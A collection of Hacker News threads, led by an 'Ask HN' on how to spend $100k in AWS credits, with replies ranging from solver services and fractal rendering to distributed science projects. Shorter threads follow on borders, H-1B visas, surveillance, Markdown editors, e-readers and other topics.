Ask HN: I just got $100k in AWS credits, how should I use it? - <AUTHOR> I got $100k in AWS Credits, with a 1-year time limit. I built a scrapy-powered image crawler that crawls over 300 art sites and finds the most popular posts with clustering algorithms and perceptual hashing (www.arthunted.com), but in the end it takes at most a few hours of a high CPU-instance per day to scrape and process (at most several dollars per day). At a year it'd barely make a dent.
I'm looking to build something that would make a splash, that would otherwise be constrained by budget, and that would have long-term self-sustaining value after the $100k runs out.
So no arbitrage, reselling, bitcoin mining, etc.
What type of project would require high-storage or high-amounts of processing? What can I build that would only be possible with that much money in infrastructure or compute power? Preferably the monthly budget would be about $10-20k.
Also I have a 40-instance limit on EC2 (which I may be able to raise). <comment><USER3> Please oh please help the Tor network. You will be eternally loved.

<comment><USER4> Do I remember right that the Tor project wouldn't accept a very large number of relays from a single party because it gives too much influence over the network?

<comment><USER5> IIRC, it takes about 50% of the network to do so. This is a waste of $100k though, as the network is only used by a small number of people, and this would be a permanent sinkhole of the money and these added servers would simply disappear after a year.

This guy/gal definitely needs something more interesting. Perhaps something meaningful, or perhaps just something insanely cool. A temporary addition to an existing worker farm is not a great idea.

</comment></comment></comment><comment><USER6> Try providing branch and bound solvers as a service? Spin up some massive EC2 instances, run something like the CoinCBC solver (or license Gurobi by the EC2 hour), and let people run optimization problems on shared hosts. Charge per minute and assume that you get ~60% utilization on the instances with a queue. Maybe allow problem formulation using the JuliaOpt / JumP metalanguage.

The hard thing about optimization problems is that they take on the order of minutes to run, but you're billed by the hour.

Sounds crazy, but lots of startups - ranging from OnFleet to Lyft Line to Postmates - are probably computationally bound on problems like the Traveling Salesman Problem / bin packing problem / knapsack problem. It's not worth $1400/instance/month to spin up the biggest computation nodes because they would get low utilization, but they still want their problem to solve quickly. If you bill by the minute - then they save money and time.

Implementation would be straightforward - set up a queuing model, a timeout on each problem, and do a callback when the problem finishes. I think it's an untapped market because there has been lots of software developed for ML, but little for decision making built on top of the regression models that ML outputs.

<comment><USER7> I like your point about software for ML, vs software for decision making. I reckon there is a lot of existing software for decision making, but it is focused around particular domains/industries. A few months ago there was some news about a new startup offering experimental design as a service -- that's another related, seemingly under-explored idea.

Branch & bound solvers (aka combinatorial optimisation) as a service doesn't sound crazy to me, but perhaps one would need to think very carefully about the market.

What kind of customers would this service have?

If you are aiming to win customers by offering a cheaper service than alternatives, then I suppose the individual customers would need to be only the ones where it made more sense to rent this infrastructure instead of invest in their own. I.e., they would need some usage, but not usage heavy enough to justify investment in their own infrastructure, which would be cheaper for them in the long run.

Might have to think about data-security issues too, if commercially sensitive data is being uploaded to the solver back-ends.

Context:

I have worked somewhere that internally runs a service vaguely similar to what you describe. E.g. licensed commercial solver, sitting on a server with a decent amount of memory and compute, used as a back-end by various services to solve sufficiently valuable business problems for clients.

If one built a service like this, another idea is to keep it to yourself, and partner with some operations research consultants, then go directly after the business problems.

</comment></comment><comment><USER8> You could calculate the highest-quality rendering ever of the Buddhabrot ([http://upload.wikimedia.org/wikipedia/commons/7/77/Buddhabro...](http://upload.wikimedia.org/wikipedia/commons/7/77/Buddhabrot-100I-2000.png)). The way it's generated makes it impossible to "zoom in". You _have_ to process the whole thing.

To make it really make a splash, you can make a an incredible video by iterating through the parameters of the functions - fractals turn into beautiful videos when you manipulate random parameters. This requires rendering the buddhabrot N times for N frames of video.

</comment><comment><USER9> Offer a performance testing service.

I saw a company pay $30K for 5 days access to a similar service.

Bootstrap the service by using this script under the hood and improve it overtime: [https://github.com/newsapps/beeswithmachineguns](https://github.com/newsapps/beeswithmachineguns)

Use your $100K credit for spawning instance but also as a marketing hook: "first 1 day free!"

<comment><USER10> Or...

Try to build any product that offers larger amount of free evaluation period.

If before 1 year, you have $paid_customers > 100.000, continue, go on, otherwise, just kill it.

Also there is more services in AWS, than EC2 and S3.

Only exploring them gives plenty of ideas... machine learning, transcoding, no- and sql scalable databases, mailing or dns services, world-wide advanced networking and delivery, etc, etc, etc... on an scalable and elastic way, high composability and awesome APIs and docs.

wtf, even you can use that money on yourself, purpose it for your own self- learning of AWS... put your $idea on world-wide high availability, automating all the AWS integrable components, and provision it thinking about time zones and world-wide timezones, usage peaks, etc.

Any ideas related to social-network-effect, or massive concurrency, are nice with an "elastic" architecture. For example, build a game that you can play from different social networks!

Last, if you're free to choose where the money goes, in your situation I could donate a some part, to my favorite opensource projects and supporters. Should feel good.

</comment></comment><comment><USER11> This is what I would do.

3 Steps:

1\. Scrape every possible image along with location data (if available). Save all these images in Amazon storage. It's best if you can scrape photo galleries that include building names, sites, or other location descriptive data. Questionable gray area, but this is a mashup of thousands of images.

2\. This is now your photogrammetry grid. Take all those photos and generate 3d scenes from the data you scraped.

3\. Open up shop with these 3d assets. Charge for quality of object. Extra money if you make it easy to import into UE4, Unity, or Torque and make it "Ready for the Oculus Rift".

<comment><USER12> 4\. Get sued for copyright infringement.

<comment><USER13> It's a new work, with substantial creativity involved. I don't see it getting anywhere.

<comment><USER14> Having "substantial creativity involved" does not prevent something from being legally considered a derivative work.

<comment><USER15> And furthermore, you cannot pay your lawyer in Amazon credits.

<comment><USER16> Unless your lawyer's name is Ed Felten, your name is Barack Obama, and the Amazon credits can be applied to GovCloud!

</comment></comment></comment></comment></comment></comment><comment><USER17> Train some mad, distributed neural nets or some shit. Gather image/art data and train a net to determine beauty. Solve all possible sudokus so the world can finally be free of that junk. Make cloud-driven instant facial recognition (via social media images) a thing. Build a huge pi-as-a-service, and use it with pifs ([https://github.com/philipl/pifs](https://github.com/philipl/pifs))

Bonus points: worlds biggest lolcat host.

<comment><AUTHOR> Actually I like the gimmicky ideas. They are usually the most newsworthy.

Is solving all possible sudokus actually possible? I can see that making the tech news rounds. Though I suppose you could just solve them on-demand.

<comment><USER18> Possible? Sure.

Brute-force solution is to consider all possible arrangements of numbers 1-9 in a 9x9 grid, filter that down to those that match the conditions of a completed grid, then iterate over the list of possible completed grid, for each grid find all possible arrangements of missing numbers, filter over those arrangements for those that can be solved, which means calculating whether there exists a solution from the available information, etc.

I didn't say efficient.

<comment><USER19> A cursory search indicates that there are 6670903752021072936960 distinct 9x9 sudoku. That's a whole lot of cycles and a bit of a storage issue.

</comment></comment></comment></comment><comment><USER20> Genome sequencing requires a lot of CPU power and disk space. You could build an application that performs these tasks and use the first $100k in compute power to help it grow. There is a lot of domain-specific knowledge in this field and I hear bioinformatics is difficult to monetize.

</comment><comment><USER21> I suggest you take your algorithm and apply it to other niches. There might be good horizontal scalability there. For example why not try to crawl photography sites to discover popular photos and sort them by style or "taste"

You could then create your own photo discovery service and call it Find my Style or something like that.

There are two ways to do this, you can either directly scan the photos looking for graphical patterns or you could analyze the text into which the photo is posted.

<comment><AUTHOR> I like this idea. Crawling art/photos online, classifying them, and otherwise mining the data would tie in well with my existing business, and also effectively convert $100k of computing into reusable stored assets.

</comment></comment><comment><USER22> Do something that matters: [https://folding.stanford.edu/](https://folding.stanford.edu/)

<comment><USER23> In a similar vein: [https://boinc.berkeley.edu/](https://boinc.berkeley.edu/)

</comment></comment><comment><USER24> You can try turning 100k into 150k:

[https://www.eff.org/awards/coop](https://www.eff.org/awards/coop)

<comment><USER8> Unless OP finds some way to turn our understanding of prime numbers on its head, the best case in one year is turning the 100k into 50k by finding the first prime with 1,000,000 digits.

<comment><USER25> Is that prize still being offered?

I think it was claimed in 2000, "The $50,000 prize will go to Nayan Hajratwala of Plymouth, Michigan, a participant of the Great Internet Mersenne Prime Search (GIMPS), for the discovery of a two million digit prime number found using the collective power of tens of thousands of computers on the Entropia.com network."

[https://www.eff.org/press/releases/big-prime-nets-big- prize](https://www.eff.org/press/releases/big-prime-nets-big-prize)

<comment><USER26> The article linked refers to the smallest of four prizes offered.

$50,000 to the first individual or group who discovers a prime number with at least 1,000,000 decimal digits (awarded Apr. 6, 2000)

$100,000 to the first individual or group who discovers a prime number with at least 10,000,000 decimal digits (awarded Oct. 22, 2009)

$150,000 to the first individual or group who discovers a prime number with at least 100,000,000 decimal digits

$250,000 to the first individual or group who discovers a prime number with at least 1,000,000,000 decimal digits

</comment></comment></comment></comment><comment><USER27> It would take a while to setup, but offensive infosec people need virtual networks to do pen testing against because they can't pen test all day every day against their own corporate network. Let the user choose a single machine or group of machines to try to compromise. Go for low cost to attract more users or go after big corporate training budgets a la sans.org

Put me in a lab of vulnerable servers and I will spend all weekend trying to get a Admin / root shell and learn way more than any books would have taught me.

BTW, computer security is sort of taking off on indeed.com [http://www.indeed.com/jobtrends?q=metasploit&l=&relative=1](http://www.indeed.com/jobtrends?q=metasploit&l=&relative=1)

<comment><USER28> Amazon is not super keen on people pentesting from or against their infrastructure.

You will be better using labs available as ISO or VM.

<comment><USER27> All pen testing labs I have seen are VMs

</comment></comment></comment><comment> luke-stanley You could potentially help millions of people by computing bite size versions of Wikipedia English each month by running Pagerank on it, then rendering a list of the top articles to HTML, and encoding in some way that's quickly decompressable on mobile.

Network connections are often slow but Wikipedia English is often really handy but too big for lots of people to store offline.

I have some code based on Sean Harnett's work here: [https://github.com/lukestanley/wiki_pagerank](https://github.com/lukestanley/wiki_pagerank)

Additionally Wikipedia has awesome stats on pageviews that need crunching - there is a wealth of cultural, zeitgeist info that can be parsed, and used to priorotise with more than Pagerank.

</comment><comment><USER29> Use it to build web scrapers hunting for AWS Keys on GitHub, to spin up more instances to scrape for AWS keys to..

<comment><USER30> AWSception

</comment></comment><comment><USER31> use it to help the world, throw up a few thousand Tor relays/bridges.

</comment><comment><USER32> You could make something that let other people spawn instances in your cloud (e.g. via Cloud Formation). For instance, take <random open source project not available in AWS>, and let people easily spawn clusters of that. In this way you can run your beta phase for free, test, then set the price to the public.

</comment><comment><AUTHOR> One idea I had was to turn [http://www.arthunted.com](http://www.arthunted.com) into a service. So you can specify parameters and sites to crawl and gather data, on demand. $5 a day times xxxx users.

<comment><USER33> scrapinghub seems to be the top dog in this space. You might want to check it out.

What's your background? Are you looking for business idea that can be built upon your existing site, or are you looking for something completely new?

<comment><AUTHOR> It doesn't have to be a business idea! Just an interesting idea that would otherwise require a lot of compute or storage, or something else provided by AWS.

<comment><USER34> chrischen. I am also facing similar situation. So, which out of all the suggestions did you found the most interesting one ? And what have you actually planned doing with it ?

</comment></comment></comment></comment><comment><USER35> WHOA. This is like google-scale computing power... AI for sure. Let me do some research, but here are some ideas:

disclaimer: these are a bit of a stretch to be sure, but hey

Never ending learner: Part 1: Machine vision on video + language learning on web + pattern recognition => new semantic constructs Part 2: semantic constructs + reinforcement learning + intrinsic exploration => action selection Result: An agent that can take in real-world scenarios, including language, text, and vision, and learn to do tasks by itself, improving how it learns as it goes. EPIC.

Autonomous programmer: code with comments (from github, community-based labeling, etc) + machine learning + knowledge representation => "understanding code" machine + natural language => PROFIT Result: you can say, "what's the sales this quarter?" and it'll deduce logical steps (parse, read from db, etc) and tell you the answer

</comment><comment><USER36> do a better version of iThenticate which helps to prevent and find plagiarism in published content. We use it to help verify that content someone has sent to us is unique and is not just copy pasted in part or whole. It also helps us find uses of our published content and course material that has been re- purposed or copied verbatim. Entry level price point for iThenticate is about $5k per year. And unfortunately copyscape.com is not the same as iThenticate.

</comment><comment><USER37> some considerations

\- budget for bandwidth... esp if you are doing something more than text crud and want to serve it - e.g. image/video

\- video is "heavy" and so necessarily takes a lot of compute, ram and storage and can also leverage gpu and pricier instances, depending on what you are trying to do... e.g. understanding video content with opencv/opencl or specific types of drawing like raytracing

\- instance limit increases with aws are perfunctory... so i wouldn't consider 40 a limit, certainly don't design anything interesting with that limit in mind

\- spot instances can save you a lot and stretch that $100K 1.5x - <USER2> depending on region, availability zone, and instance type

\- unless you've done it before, time is your enemy to get into position to spend that money on something useful... so your monthly budget target range makes sense

</comment><comment><USER38> Go talk to the guys at ClusterK.com for their balancer device. It will logicall auto-balance your spawn of spot instances across many AZs and make you very resilient. Tell them you want to prove out their balancer.

Do this, because intelligently following the cheapest spot price will save you 90% of the typical costs.

THis will make your 100K be able to support a ton more instances than you would otherwise.

Make sure that whatever you do though is not chatty between the nodes - if you have a ton of instances talking across zones the data transfer fee can be significant.

Make sure that you store large data on an EBS that an instance mounts to prevent large transfer fees between instances and S3.

All instance limits can be raised. The only hard limit in AWS is 100 S3 buckets per account.

Just put in a limit increase request via the console. Email firstname.lastname@example.com if you have issues.

</comment><comment><USER39> >>> I got $100k in AWS Credits

May I ask how ?

<comment><AUTHOR> Its a credit given to companies backed by an accelerator.

<comment><USER40> Even ones that can't think of anything to do with it? I wish I had these problems :-/

<comment><USER25> It's given out like candy, if not the 100k one you can surely get several thousands worth of credits for server hosting, either on Azure or through Amazon.

<comment><USER41> Can confirm - with my MSDN license I get a $150/mo credit for any development/test instances. As long as I have a valid license (and they offer the deal) I'll get the credit.

</comment></comment></comment></comment></comment><comment><USER42> Look up some of the prime factorization prizes and do the math to see if it is achievable.

</comment><comment><USER43> I would invest it in 5 early stage Startups - 20K computing time each.

</comment><comment><USER44> Well, if you're literally not going to use it - and you'll lose it at the end of a year... Can you donate it to Folding@Home or something?

I'm guessing AWS wouldn't want you to...

</comment><comment><USER45> why don't you use the credits to try to create a publicly queryable index of the web in a standardised format? read: open source search engine. as you've got the money, just ignore efficiency.

else... commit part of it to one of the computing @ home proejcts?

<comment><USER46> If you're interested in a publicly queryable index of the web, you could try running a search server such as ElasticSearch on the Common Crawl[1] corpus. ElasticSearch runs the search backend of WordPress, 600 million+ documents in total[2], so extending it to a Common Crawl archive seems possible.

n.b. I'm a data scientist at Common Crawl, so have a vested interest!

Also, whatever experiment you end up pursuing, remember to use spot instances if your setup allows for transient nodes - it'll substantially decrease your burn rate (usually 1/10th the price) allowing for even larger and more insane experiments :)

[1]: [http://commoncrawl.org/](http://commoncrawl.org/)

[2]: [http://gibrown.com/2014/01/09/scaling-elasticsearch- part-1-o...](http://gibrown.com/2014/01/09/scaling-elasticsearch- part-1-overview/)

<comment><USER47> I had a crawling project where I wanted to get a sense for a few ad-related things on the internet and came upon common crawl and was initially excited since I thought it would have incidentally captured the data I wanted, but I was disappointed to find that they did not do any kind of JS execution, which limited the effectiveness for me pretty drastically.

</comment></comment></comment><comment><USER48> The idea we had at my work was to setup a web service that just puts urls in your s3 bucket. Nothing more, nothing less.

Filepicker's storeUrl function without the baggage. Designed for server side apps that prefer to avoid streaming / download-uploading files locally in order to get them into a bucket.

Non trivial compute resource value add that would take very little time to code. Low risk for adopter: their files are stored in their bucket.

</comment><comment><USER49> Whatever you do, only use spot instances.

</comment><comment><USER50> I assume you had two options, 100k for a year or 10k for 2 years (I think)? (I've seen these offers)

Is that the case? And if so, why not take the other option?

<comment><AUTHOR> $100k is so much bigger number.

<comment><USER50> Sure but it's like saying "here's a meal for 20, you have to eat it all today... or I'll feed you and only you for a year"

<comment><USER51> No, it's like saying "here's $20, you have to use it all today. Or I'll give you $4, half today, half tomorrow".

</comment></comment></comment></comment><comment><USER52> I'd say do this [http://lg.io/2015/04/12/run-your-own-high-end-cloud- gaming-s...](http://lg.io/2015/04/12/run-your-own-high-end-cloud-gaming- service-on-ec2.html) and make it super affordable with generous free plans.

</comment><comment><USER53> You could build a video conversion website where one uploads original high resolution video and it'd spit out 1080p/720p/320p and other formats of video that are suitable for delivering on different devices/bandwidth. This could be an alternative for people hosting video on youtube and getting slapped with ads. An effort like this would use a lot of CPU but once it's converted it's just the storage cost. Common challenges are copyright issue but I can see different ways to promote it as a professional service than collection of random videos. $100K would cover cost of offering it for free to people for a limited period.

<comment><USER5> As strange as it sounds, that much bandwidth would probably suck up $100k faster than you'd imagine. There's a reason a lot of large companies that deal in video have their own data centres and crazy bandwidth deals that make it cheap. I don't think $100k at Amazon's prices would last more than a few months if the service became popular.

</comment></comment><comment><USER54> >> ... no arbitrage, reselling, bitcoin mining

You just scrapped my first 3 ideas :)

<comment><USER54> Actually it's interesting task to come up with creative way to convert amazon credit to hard cash (that does not expire).

I don't think bitcoin mining via CPU (virtualized especially) is feasible for that anymore.

<comment><USER55> Altcoin mining on the amazon gpu machines was still viable, last I checked.

<comment><USER56> Well, it WAS, until Scrypt ASICs came out about a year ago. Now it's not viable. You'd be lucky to get a percent back.

</comment></comment></comment></comment><comment><USER57> Do what you like -- but reserve instances so you can do it for longer.

<comment><USER58> Sadly,

> You may not use Promotional Credit for any fees or charges for Reserved > Instances, Amazon Mechanical Turk, AWS Support, AWS Marketplace, Amazon > Route 53 domain name registration, any upfront fee for any Service

[1]: [https://aws.amazon.com/awscredits/](https://aws.amazon.com/awscredits/)

</comment></comment><comment><USER59> Artificial intelligence? It needs huge datasets and lots of CPU to train. Then you could put it to work, maybe captioning video or something.

</comment><comment><USER60> Solve chess. Write a paper: "White wins."

</comment><comment><USER61> I will let others answer "how should I use it" what I want to know is how did you get 100k in AWS credits.

</comment><comment><USER62> You could experiment with servers farms and EC2 spot instances to figure out strategies for minimizing costs of maintaining huge server farms. Once learnt, you can sell that skill to multiple companies and with that money gained just do your next thing like giving t charity, having a beer etc..

</comment><comment><USER59> Host art projects. Let people render fractals. Render video walkthroughs of highly detailed scenes.

</comment><comment><USER63> Build an artificial life program, and use it to discover and optimize algorithms or electronic circuits relating to a problem that interests you.

If you don't have a problem of your own, build a better internal power supply for consumer electronics devices.

</comment><comment> bra-ket train a convnet to recognize 80M tiny images: [http://groups.csail.mit.edu/vision/TinyImages/](http://groups.csail.mit.edu/vision/TinyImages/)

</comment><comment><USER64> Build fuzzing infrastructure, to find bugs that people will pay for (example: google chrome). There's a revenue stream, interesting technical challenges, and you're helping raise the security bar.

</comment><comment><USER65> For those who want's to know what this 100k deal is...

[http://aws.amazon.com/activate/benefits/](http://aws.amazon.com/activate/benefits/)

</comment><comment><USER66> [http://en.wikipedia.org/wiki/List_of_distributed_computing_p...](http://en.wikipedia.org/wiki/List_of_distributed_computing_projects)

</comment><comment><USER67> Put the computer power toward some good cause -- Folding@home or similar.

</comment><comment><USER68> 3d render farm?

<comment><USER69> He's a bit limited on instances though.

Still, could find some animation studios, offer them your farm for some % of profits.

Pretty big gamble though.

</comment></comment><comment><USER70> For those wondering how he got this much in credits:

[http://aws.amazon.com/activate/](http://aws.amazon.com/activate/)

</comment><comment><USER71> Would it be possible to create a site that shows in near real-time what images are being shared or are popular at any point of time?

</comment><comment><USER72> We also got the $100k AWS credits for our startup. We're going to be using it to pay for our server and CDN costs :)

<comment><AUTHOR> Well by the time I got it, I had already paid for reserved instances...

</comment></comment><comment><USER73> How did you manage to get that much credit?

</comment><comment><USER74> But how did you manage to get that much??

</comment><comment><USER75> would you mind sharing some details about how you are scraping?

I am also trying to build a crawler. The problem is each site has it's own html structure. How do you handle this? Have you written scraping rules for each site? Which is a nightmare to maintain especially when you have lot of sites to crawl.

<comment><USER47> I think you want to have a system that can use XPath or CSS queries to select the elements you want.

This way writing a scraper for a given page is almost as easy as right clicking on an element in dev tools and selecting "Copy as XPath" for what you want.

You definitely need some validation that your scraper is still returning accurate results, so that you can get notified when things go wrong. Things like following links from an item to the item's product page and comparing scraped prices, names & images should get you a lot of the way.

At some point this will definitely get unwieldy, and you can try to build a more general solution that can understand grids or layout, but despite my preference for this as both a shopper of long tail sites and a developer, this is probably not where you want to start unless the long tail is your actual niche.

<comment><USER75> You recommend staying specific to few categories instead of crawling over everything available on internet? We are starting only with women's clothing.

<comment><USER47> I was more referencing the typical approach that people took of supporting the top N most popular sites and increasing N as they got bigger.

It's a solid approach for hitting the majority of the market, and works fine for alerting, but this leaves a pretty big gap in the market for people who are interested in comparison shopping for more boutique items, e.g. designer male fashion get sold by piles of different boutiques, each with their own sales, etc, but the items are exactly the same, and I would really like to know when something I am interested in goes on sale at one of the 50 different stores that have this item, and I would like to know this only when they go on sale in my size, and whether it's actually cheap after currency conversion and shipping. A person can dream, right?

Shit, I would love it if there was a platform that could guess my size across various items in different brands.

I've thought of this space a bit since I buy a decent amount of clothes, but I've never gone ahead and tried to execute.

</comment></comment></comment></comment><comment><USER76> How about not using it because AWS doesn't run on 100% renewable energy. Make a $100.000 statement!

</comment><comment><USER77> You could build a A middle-out compression algorithm which would make data storage problems smaller.

</comment><comment><USER73> I would suggest you buy servers in reserved contract and sell it on to others.

</comment><comment><USER78> If someone would have an idea how to get value out of $100K in AWS credits, would you think they would tell you? Why wouldn't they take the idea, pitch it, get $100K in AWS credits and then double it themselves?

<comment><USER79> Because he's not asking for ways of generating more than $100k profit out of his $100k AWS credits which would be quite difficult. He's in the unique situation of having $100k in free AWS credits and would probably be happy getting back half that as cash.

<comment><AUTHOR> Well I'm less interested in converting it to cash, as I could easily just start reselling the credits.

I'm trying to do some hacky project that would make a big splash... as there's $100k of value to be consumed.

<comment><USER34> Any idea, where you could resell the credits ?

</comment></comment></comment></comment><comment><USER80> Open up the machines and post credentials here :-)

</comment><comment><USER81> Do something with video. That could suck up $100k

</comment><comment><USER82> Jarvis, of course

</comment><comment><USER83> Why can't you mine bitcoin?

<comment><USER84> As above, but also mining crypto's is against AWS terms of service.

<comment><USER85> Citation please. I just searched the AWS ToS, AUP, and customer agreement and found no such restriction.

Or do you mean that the startup $100K credit is restricted from obvious reselling/mining/anything that's not doing a value add? Cause of course AWS doesn't want to give away money, but promote startups to actually use their services.

</comment></comment></comment><comment><USER86> Porn Site.

</comment><comment><USER87> Host a massive minecraft server.

</comment><comment><USER88> gpu instances -> bitcoin mining

</comment><comment><USER89> DDoS a small country. Even if for a day.

</comment><comment><USER90> Resell it. Turn it into real money.

</comment><comment><USER91> mine dogecoin? (j/k)

<comment><USER92> The altcoin ideas are getting downvoted, but with the right alt coin he could make $10k+ in the bank to keep.

Anything related to creating an ongoing service whether for love or profit, is madness, because in 12 months that service has to stop unless the OP has $100k to spare to keep it going for the next year.

<comment><USER34> What are the right alt coins that your hinting at ?

</comment></comment></comment><comment><USER93> How about an altcoin miner cluster ? :D

</comment><comment><USER94> crypto-currency mining? You could burn through that very quickly with enough machines.</comment>


National borders exist to pen poor people into reservations of poverty - <AUTHOR> http://www.theguardian.com/commentisfree/belief/2016/jun/02/national-borders-exist-to-pen-poor-people-into-reservations-of-poverty?CMP=fb_gu <comment><USER2> Putting the cart before the horse a bit. Borders exist to establish a separation between inside and outside. An awful lot of different things will fall on either side of the line, but to pick out just one of those things and pretend that's the only, or even the primary, reason the line was drawn is silly.

It's also disappointing to fundamentally misunderstand what's going on. There are four major elements to national power: Diplomacy, Information, Military, and Economics (the DIME). The author is mostly looking at economics and pretending that's all there is.

A nation has a responsibility to act in the interests of its citizens. Sometimes that means acting against the interests of non-citizens. It's a simple, if painful, concept. Analyzing immigration without acknowledging it is silly. Additionally, in a nation supposedly run by consensus of its citizens, it's silly to pretend that the process has failed just because you're unhappy with the speed or the compromise. Slowness and compromise are features, not bugs.

</comment><comment><USER3> I'm torn by this.

On the one hand I pretty much agree. It's immoral. On the other hand I like the place I live. It's very different from where I grew up (the USA). The culture is vastly different. If the borders were opened that culture would disappear very quickly. Parts of it I don't like might be better but parts of it I do like would end up being more like the rest of the world which is exactly why I'm living here. I don't want the rest of the world changing this place.

<comment><USER4> You really don't see the hypocrisy in your statement?

<comment><USER2> You mean other than the first sentence being "I'm torn by this?"</comment></comment></comment>


Top H-1B Visa Companies All Specialize in Shipping American Jobs Overseas - <AUTHOR> http://www.ieeeusa.org/communications/releases/2013/021913.asp

<comment><USER2> So, where are all these unemployed American programmers, who lost their jobs due to offshoring and H1B's? If you are one, please email me, as my $DAYJOB employer - Open Software Integrators - is aggressively hiring at all levels, from interns to Senior Developers and Senior Consultants. We are mainly looking in the Raleigh/Durham, NC and Chicago, IL areas, FWIW. prhodes (at) osintegraors (dot) com

The thing is, I'm skeptical of all this howling about American job loss (in terms of development / IT anyway) due to offshoring and H1Bs. It's all we can do to find qualified people.. we advertise for months and months and do dozens of interviews to find one person we want to hire. And it's not like our hiring bar is set super high... we don't do Google or Microsoft style "trick" interviews and we don't expect intern level candidates to code a red-black tree on the whiteboard or anything. We just want smart, hard-working people who are motivated self-learners and have reasonable social acumen. And there isn't exactly a flood of people like that beating down the door.

Now, I'm not saying that no one has ever lost their job to offshoring or whatever. But from what I can see, there is still plenty of work available for talented IT people in the US.</comment>


Disney Is Launching A Startup Accelerator - <AUTHOR> http://www.fastcompany.com/3026408/fast-feed/disney-is-launching-a-startup-accelerator <comment><USER2> Fantastic idea in our constant dialogue about the convergence of tech and entertainment in LA. Will be very interesting to follow as this develops through the semesters or however they are organizing the accelerator.</comment>


The 1-Minute Trick That Can Change Your Life and Help You Overcome Laziness - <AUTHOR> http://iheartintelligence.com/2015/10/31/overcome-laziness/ <comment><USER2> That's a retarded perversion of what Kaizen is about.

[https://en.wikipedia.org/wiki/Kaizen](https://en.wikipedia.org/wiki/Kaizen)</comment>


The International Society of Business Astrologers - <AUTHOR> http://www.businessastrologers.com/

<comment><USER2> Does membership to the Society automatically qualify one for Flat Earth Society membership as well?

</comment><comment><USER3> Can econometricists join?</comment>


US pushing local cops to stay mum on surveillance - <AUTHOR> http://news.yahoo.com/us-pushing-local-cops-stay-174613067.html

<comment><USER2> "We're almost certainly not trampling over your rights, citizen. Now why don't you mosey along and stop asking about it?"

</comment><comment><USER3> What's almost certainly reassuring about this is that this is a sign too much attention has been coming on this issue. AKA The general public is beginning to give a shit.

<comment><USER4> Or maybe the government and Harris know the product can be easily defeated if the public gets a few technical details about how it works.

<comment><AUTHOR> This seems at least as likely to be the point of concern as the public caring about it. The public has hardly cared about the NSA spying, at least not enough to lift a finger in protest about it.

Most people I talk to say the same thing, something like this: well, the NSA spying seems a bit extreme, but there are dangers out there, and what do I have to fear from the government anyway they're not interested in me, so this is all probably helping to keep me safe.

Their line of reasoning always starts out with concern and fades into some version of a shrug (meant to say: what can one do anyway).

I suspect it would be much the same with the stinger & local police issue.

</comment></comment></comment><comment><USER5> > "As a government contractor, our solutions are regulated and their use is > restricted"

he said, struggling valiantly to keep a straight face.</comment>


Wanted: wysiwyg editor that produces markdown on the backend - <AUTHOR> https://mobile.twitter.com/statuses/192211537832841216/ <comment><USER2> I guess this does the opposite of what you want to do:

* Windows: [MarkdownPad](<http://markdownpad.com/>)

</comment><comment><USER3> Or, you know, you could just write in Markdown.

<comment><AUTHOR> Yes, I could. But I've learned that other people aren't me.

I've also learned that there are trivial mistakes that are easy to make and sometimes annoying to have to go back and fix. Even more, I've learned that user interfaces can be designed that help _prevent_ such errors from happening inthe first place, allowing one to work faster, with fewer errors, and more able to concentrate on the point, rather than on accidental difficulties.

Would you write a large complex system in assembly language, when the same system could be written in C, or C++, or Python? No, you'd choose the medium that lets you concentrate on the hard bits, and deals with the small, fiddly, boring, mechanical bits for you.

So when I produce a user interface I help people avoid mistakes by providing (when appropriate) radio buttons, or drop-down boxes, instead of free-form fields that need to be formatted exactly right. I try to reduce friction, and let people do the bits that really matter.

So when someone asks about a WYSIWYG editor that produces MarkDown, I listen, and pass on the request to people who might either know of one already, or might think: "Hmm, I wonder if there's a market for that."</comment></comment>


Design Mistakes in Node [pdf] - <AUTHOR> http://tinyclouds.org/jsconf2018.pdf <comment><AUTHOR> These are the slides to Ryan Dahl's presentation at JSConf EU 2018.

A video of the presentation is here: [https://www.youtube.com/watch?v=M3BM9TB-8yA](https://www.youtube.com/watch?v=M3BM9TB-8yA)</comment>


The Future of Reading (a play in 6 acts) - <AUTHOR> http://diveintomark.org/archives/2007/11/19/the-future-of-reading

<comment><USER2> Just because something is evil and shitty doesn't mean it will fail. Examples: SUVs, Windows.

<comment><USER3> The difference is, while Americans love cars, most of 'em don't read books.

</comment></comment><comment><USER4> Amazon already has a partnership with Borders. Why not have Borders install Espresso Book Machines?

On-demand publishing at a bookstore/music store/cafe? Just imagine some dreamy-eyed teenager, who writes bad poetry (oh noetry) all day and can make a book out of it in the evening! And publishing your work is an even better conversation starter than a dog.

Espresso Book Machine: [http://www.engadget.com/2007/06/21/new-york-public- library-g...](http://www.engadget.com/2007/06/21/new-york-public-library-gets- first-espresso-book-machine/)

</comment><comment><USER5> I doubt a good reader can ever be created by an entity that profits from the content.

<comment><USER6> Why not? I don't see what makes books so much different from the iPod in this sense. Apple's certainly profiting from the content on many iPods...

<comment><USER7> Big difference being Apple was providing content for their platform, and Amazon is providing a platform for their content.

</comment></comment></comment><comment><USER8> Do we really have to go through the same mess as with music once again? Hopefully not - in any case, the outcome will most likely be the same... ("We were wrong, we should not have treated our customers like dirt etc...").

I would really like to create the iTunes equivalent for books...

</comment><comment><USER9> Look at the Sony reader sometime. I remember seeing a single letter on a breadboard E-ink display years ago, and since then I've wanted a reader with that surface. It seems like everyone that handles one wants it. The ideal is an entire library of books in your back pocket, that 'feels/reads' like a regular book. It is getting closer, but the Kindle does seem like a baby step back from the Sony reader.

<comment><USER6> I saw a Sony reader on the Subway the other day. I had to do a double take -- at a 5ft distance, it looks _exactly_ like paper. I didn't get a chance for a closer look, unfortunately.

</comment></comment><comment><USER10> Kindle: $400. Asus eee: $400. Duh.

</comment><comment> daniel-cussen Like I'm buying a kindle now.</comment>


Eternal Fascism:  Fourteen Ways of Looking at a Blackshirt (1995) - <AUTHOR> http://interglacial.com/pub/text/Umberto_Eco_-_Eternal_Fascism.html <comment><AUTHOR> _Ur-Fascism is still around us, sometimes in plainclothes. It would be so much easier for us if there appeared on the world scene somebody saying, "I want to reopen Auschwitz, I want the Blackshirts to parade again in the Italian squares." Life is not that simple. Ur-Fascism can come back under the most innocent of disguises. Our duty is to uncover it and to point our finger at any of its new instances — every day, in every part of the world._</comment>


20 (Rare) Questions for Google Search Guru Udi Manber - <AUTHOR> http://www.popularmechanics.com/blogs/technology_news/4259137.html?nav=RSS2

<comment><USER2> I loved this answer:

"I don't think it's about philosophy. It's about getting people what they need, and about getting the results to be as accurate and fast as possible."

Much better than the usual jargon, cliches and buzzwords people tend to spew in interviews.</comment>


